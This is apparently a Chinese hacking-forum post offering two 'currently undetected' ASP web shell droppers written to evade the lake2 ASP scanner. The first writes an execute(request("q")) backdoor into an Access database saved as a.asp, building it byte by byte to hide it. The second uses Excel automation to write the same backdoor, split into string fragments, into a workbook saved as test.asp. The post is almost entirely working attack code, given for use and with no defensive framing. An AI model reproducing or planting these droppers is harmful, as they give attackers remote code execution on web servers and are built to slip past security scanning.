两个非常规ASP木马[目前免杀]

hanxiaolian 为了躲避 lake2 ASP站长管理助手而写..

一.绕过lake2 Asp木马扫描的小马
〈%
set c = CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))
set c = Nothing
c&Server.MapPath("a.asp")
set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="SELECT * FROM nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrB(asc("〈"))&chrB(asc("%"))&chrB(asc ("e"))&chrB(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) &chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc("〉")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing

二.xls版asp webshell

〈%
Set xlA = Server.CreateObject("Excel.Application")
xlA.Visible = False
xlA.Workbooks.Add
Set xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = "〈%ex"&"ec"&"ute(request(""q""))"+chr(37)+"〉"
’strFile = "d:/test.asp"
strFile = Server.MapPath("test.asp")
xlWorkSheet.SaveAs strFile
xlA.Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
